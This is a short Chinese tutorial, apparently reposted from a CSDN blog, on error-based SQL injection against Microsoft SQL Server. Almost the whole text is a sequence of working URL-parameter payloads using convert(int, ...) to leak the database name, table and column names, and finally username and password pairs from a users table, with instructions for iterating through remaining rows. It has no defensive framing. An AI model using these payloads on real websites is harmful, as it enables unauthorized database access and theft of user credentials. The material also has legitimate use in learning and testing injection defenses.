条件
必须有错误回显
函数
convert(int,(select top 1 db_name() )):将第二个参数的值转换成第一个参数的int类型
查看数据库
?id=1 and 1=convert(int,(select top 1 db_name()))
查看数据库有哪些表
?id=1 and 1=convert(int,(select top 1 name from test.sys.sysobjects where xtype = ‘U’))
第一个表名为aaa,查看第二个表名,依次类推
?id=1 and 1=convert(int,(select top 1 name from test.sys.sysobjects where xtype = ‘U’ and name !=‘users’ and name !=’…’))
查看对应表有哪些列
?id=1 and 1=convert(int,(select top 1 name from test.sys.syscolumns where id = object_id(‘users’)))
第一列为id,查看第二个表名,依次类推
?id=1 and 1=convert(int,(select top 1 name from test.sys.syscolumns where id = object_id(‘users’) and name !=‘id’ and name !=’…’))
查看账号密码信息
?id=1 and 1=convert(int,(select top 1 username+password from users ))
第一个用户为zs,查看下一个用户,以此类推
?id=1 and 1=convert(int,(select top 1 username+password from users where username !=‘zs’ and username !=’…’))
sql注入之——sqlserver报错注入
猜你喜欢
转载自blog.csdn.net/wsnbbz/article/details/104286501
今日推荐
周排行